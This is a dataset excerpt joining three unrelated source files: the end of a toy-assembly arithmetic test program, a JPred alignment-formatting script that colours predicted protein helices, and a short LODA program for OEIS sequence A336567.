TRP 3 ; Two Spaces
MOV R3 R0
LDR R4 X
DIV R3 R4
TRP 1 ; Expecting 53
LDR R3 SP
TRP 3
TRP 3 ; Two Spaces
MOV R3 R0
LDR R4 V
DIV R3 R4
TRP 1 ; Expecting 107
LDR R3 RET
TRP 3
TRP 3 ; Prints ENDLINE twice
; = Subtracting some stuff, yo ======================================
; R1 should contain the value 720
MOV R3 R1
LDR R4 D
SUB R3 R4
TRP 1 ; Expecting 220
LDR R3 SP
TRP 3
TRP 3 ; Two Spaces
MOV R3 R1
LDR R4 II
SUB R3 R4
TRP 1 ; Expecting 719
LDR R3 SP
TRP 3
TRP 3 ; Two Spaces
MOV R3 R1
LDR R4 V
SUB R3 R4
TRP 1 ; Expecting 715
LDR R3 SP
TRP 3
TRP 3 ; Two Spaces
MOV R3 R1
LDR R4 X
SUB R3 R4
TRP 1 ; Expecting 710
LDR R3 RET
TRP 3 ; Prints ENDLINE once
TRP 0 ; End Program
|
data/jpred4/jp_batch_1613899824__2zRCseQ/jp_batch_1613899824__2zRCseQ.als | jonriege/predict-protein-structure | 0 | 533 | SILENT_MODE
BLOCK_FILE jp_batch_1613899824__2zRCseQ.concise.blc
MAX_NSEQ 877
MAX_INPUT_LEN 879
OUTPUT_FILE jp_batch_1613899824__2zRCseQ.concise.ps
PORTRAIT
POINTSIZE 8
IDENT_WIDTH 12
X_OFFSET 2
Y_OFFSET 2
DEFINE_FONT 0 Helvetica DEFAULT
DEFINE_FONT 1 Helvetica REL 0.75
DEFINE_FONT 7 Helvetica REL 0.6
DEFINE_FONT 3 Helvetica-Bold DEFAULT
DEFINE_FONT 4 Times-Bold DEFAULT
DEFINE_FONT 5 Helvetica-BoldOblique DEFAULT
#
DEFINE_COLOUR 3 1 0.62 0.67 # Turquiose
DEFINE_COLOUR 4 1 1 0 # Yellow
DEFINE_COLOUR 5 1 0 0 # Red
DEFINE_COLOUR 7 1 0 1 # Purple
DEFINE_COLOUR 8 0 0 1 # Blue
DEFINE_COLOUR 9 0 1 0 # Green
DEFINE_COLOUR 10 0.41 0.64 1.00 # Pale blue
DEFINE_COLOUR 11 0.41 0.82 0.67 # Pale green
DEFINE_COLOUR 50 0.69 0.18 0.37 # Pink (helix)
DEFINE_COLOUR 51 1.00 0.89 0.00 # Gold (strand)
NUMBER_INT 10
SETUP
#
# Highlight specific residues.
# Avoid highlighting Lupas 'C' predictions by
# limiting the highlighting to the alignments
Scol_CHARS C 1 1 146 866 4
Ccol_CHARS H ALL 5
Ccol_CHARS P ALL 8
SURROUND_CHARS LIV ALL
#
# Replace known structure types with whitespace
SUB_CHARS 1 867 146 876 H SPACE
SUB_CHARS 1 867 146 876 E SPACE
SUB_CHARS 1 867 146 876 - SPACE
HELIX 5 870 16
COLOUR_TEXT_REGION 5 870 16 870 50
HELIX 21 870 34
COLOUR_TEXT_REGION 21 870 34 870 50
HELIX 38 870 40
COLOUR_TEXT_REGION 38 870 40 870 50
HELIX 58 870 78
COLOUR_TEXT_REGION 58 870 78 870 50
HELIX 81 870 92
COLOUR_TEXT_REGION 81 870 92 870 50
HELIX 103 870 117
COLOUR_TEXT_REGION 103 870 117 870 50
HELIX 124 870 143
COLOUR_TEXT_REGION 124 870 143 870 50
HELIX 5 875 15
COLOUR_TEXT_REGION 5 875 15 875 50
HELIX 20 875 41
COLOUR_TEXT_REGION 20 875 41 875 50
HELIX 58 875 76
COLOUR_TEXT_REGION 58 875 76 875 50
HELIX 81 875 92
COLOUR_TEXT_REGION 81 875 92 875 50
HELIX 103 875 117
COLOUR_TEXT_REGION 103 875 117 875 50
HELIX 124 875 144
COLOUR_TEXT_REGION 124 875 144 875 50
HELIX 5 876 16
COLOUR_TEXT_REGION 5 876 16 876 50
HELIX 23 876 33
COLOUR_TEXT_REGION 23 876 33 876 50
HELIX 58 876 66
COLOUR_TEXT_REGION 58 876 66 876 50
HELIX 71 876 92
COLOUR_TEXT_REGION 71 876 92 876 50
HELIX 103 876 117
COLOUR_TEXT_REGION 103 876 117 876 50
HELIX 124 876 142
COLOUR_TEXT_REGION 124 876 142 876 50
|
programs/oeis/336/A336567.asm | neoneye/loda | 22 | 89558 | ; A336567: Sum of proper divisors of {n divided by its largest squarefree divisor}.
; 0,0,0,1,0,0,0,3,1,0,0,1,0,0,0,7,0,1,0,1,0,0,0,3,1,0,4,1,0,0,0,15,0,0,0,6,0,0,0,3,0,0,0,1,1,0,0,7,1,1,0,1,0,4,0,3,0,0,0,1,0,0,1,31,0,0,0,1,0,0,0,16,0,0,1,1,0,0,0,7,13,0,0,1,0,0,0,3,0,1,0,1,0,0,0,15,0,1,1,8
seq $0,336551 ; a(n) = A003557(n) - 1.
seq $0,1065 ; Sum of proper divisors (or aliquot parts) of n: sum of divisors of n that are less than n.
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.